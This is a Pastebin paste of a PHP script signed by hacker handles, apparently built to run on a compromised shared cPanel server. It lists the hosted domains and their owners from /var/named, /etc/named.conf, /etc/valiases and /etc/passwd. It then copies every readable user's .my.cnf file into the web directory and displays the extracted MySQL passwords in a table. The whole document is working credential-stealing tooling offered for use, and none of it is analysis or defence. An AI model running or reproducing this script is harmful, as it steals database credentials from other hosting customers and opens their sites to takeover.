Advertisement
Guest User

Untitled

a guest
Jul 21st, 2017
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.43 KB | None | 0 0
  1. <?php
  2. /**
  3. * @author: FaisaL Ahmed aka rEd X || r3c0d3d by Sinkaroid
  4. * Stupidc0de / No leader We just Laugh Together
  5. * Fuck The World!!!
  6. */
  7.  
  8. @ini_set('display_errors',0);
  9. function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
  10. $ar0=explode($marqueurDebutLien, $text);
  11. $ar1=explode($marqueurFinLien, $ar0[$i]);
  12. return trim($ar1[0]);
  13. }
  14.  
  15. echo '<html><head>
  16. <title>[!] Pasirmerah cP Detected</title>
  17. <img src="https://lh4.googleusercontent.com/-MgOOR3efsfs/VITTZLxP8DI/AAAAAAAAAKY/VN93xgnr91s/w774-h1032/chibi_sasori_edo_tensei_color_by_tazawa-d4tlvv9.png" width="300" height="350"/><a/><br />
  18. <meta content="text/html; charset=utf-8">
  19. <meta name="keywords" content="cPanel Cracker, 3xp1r3, 3xp1r3 Cyber Army, rEd X" />
  20. <meta name="description" content="Auto cPanel Detected" />
  21. <meta name="author" content="rEd X" />
  22. <link rel="SHORTCUT ICON" href="http://us.yimg.com/i/mesg/emoticons7/61.gif">
  23. <style type="text/css">
  24. body {
  25. background: black;
  26. color: #00FF00;
  27. font-family: monospace;
  28. }
  29.  
  30. #content .first{
  31. background-color: black;
  32. }
  33.  
  34. table{
  35. border: 0px #000000 dotted;
  36. }
  37.  
  38. a{
  39. color: white;
  40. text-decoration: none;
  41. }
  42.  
  43. input,select,textarea{
  44. border: 1px #000000 solid;
  45. -moz-border-radius: 5px;
  46. -webkit-border-radius:5px;
  47. border-radius:5px;
  48. }
  49. </style>
  50.  
  51. </head><body>';
  52. echo '<div style="font-family: Courier">Pasirmerah cPanel Detected<br /><sub>by :stupidc0de family</sub></div><br/>';
  53.  
  54. echo "<center>";
  55. $d0mains = @file('/etc/named.conf');
  56. $domains = scandir("/var/named");
  57.  
  58. if ($domains or $d0mains)
  59. {
  60. $domains = scandir("/var/named");
  61. if($domains) {
  62. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  63. $count=1;
  64. $dc = 0;
  65. $list = scandir("/var/named");
  66. foreach($list as $domain){
  67. if(strpos($domain,".db")){
  68. $domain = str_replace('.db','',$domain);
  69. $owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
  70. $dirz = '/home/'.$owner['name'].'/.my.cnf';
  71. $path = getcwd();
  72.  
  73. if (is_readable($dirz)) {
  74. copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
  75. $p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
  76. $password=entre2v2($p,'password="','"');
  77. echo "<tr><td>".$count++."</td><td><a href='http://".$domain.":2082' target='_blank'>".$domain."</a></td><td>".$owner['name']."</td><td>".$password."</td><td><a href='".$owner['name'].".txt' target='_blank'>Click Here</a></td></tr>";
  78. $dc++;
  79. }
  80.  
  81. }
  82. }
  83. echo '</table>';
  84. $total = $dc;
  85. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  86. echo '</center>';
  87. }else{
  88. $d0mains = @file('/etc/named.conf');
  89. if($d0mains) {
  90. echo "<table align='center'><tr><th> COUNT </th><th> DOMAIN </th><th> USER </th><th> Password </th><th> .my.cnf </th></tr>";
  91. $count=1;
  92. $dc = 0;
  93. $mck = array();
  94. foreach($d0mains as $d0main){
  95. if(@eregi('zone',$d0main)){
  96. preg_match_all('#zone "(.*)"#',$d0main,$domain);
  97. flush();
  98. if(strlen(trim($domain[1][0])) >2){
  99. $mck[] = $domain[1][0];
  100. }
  101. }
  102. }
  103. $mck = array_unique($mck);
  104. $usr = array();
  105. $dmn = array();
  106. foreach($mck as $o) {
  107. $infos = @posix_getpwuid(fileowner("/etc/valiases/".$o));
  108. $usr[] = $infos['name'];
  109. $dmn[] = $o;
  110. }
  111. array_multisort($usr,$dmn);
  112. $dt = file('/etc/passwd');
  113. $passwd = array();
  114. foreach($dt as $d) {
  115. $r = explode(':',$d);
  116. if(strpos($r[5],'home')) {
  117. $passwd[$r[0]] = $r[5];
  118. }
  119. }
  120. $l=0;
  121. $j=1;
  122. foreach($usr as $r) {
  123. $dirz = '/home/'.$r.'/.my.cnf';
  124. $path = getcwd();
  125. if (is_readable($dirz)) {
  126. copy($dirz, ''.$path.'/'.$r.'.txt');
  127. $p=file_get_contents(''.$path.'/'.$r.'.txt');
  128. $password=entre2v2($p,'password="','"');
  129. echo "<tr><td>".$count++."</td><td><a target='_blank' href=http://".$dmn[$j-1].'/>'.$dmn[$j-1].' </a></td><td>'.$r."</td><td>".$password."</td><td><a href='".$r.".txt' target='_blank'>Click Here</a></td></tr>";
  130. $dc++;
  131. flush();
  132. $l=$l?0:1;
  133. $j++;
  134. }
  135. }
  136. }
  137. echo '</table>';
  138. $total = $dc;
  139. echo '<br><div class="result">Total cPanel Found = '.$total.'</h3><br />';
  140. echo '</center>';
  141.  
  142. }
  143. }else{
  144. echo "<div class='result'><i><font color='#FF0000'>ERROR</font><br><font color='#FF0000'>/var/named</font> or <font color='#FF0000'>etc/named.conf</font> Not Accessible!</i></div>";
  145. }
  146.  
  147. echo "<br>&#169; <font color='#FF0000'>2015</font> stupidc0de!";
  148. echo "</body></html>";
  149. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement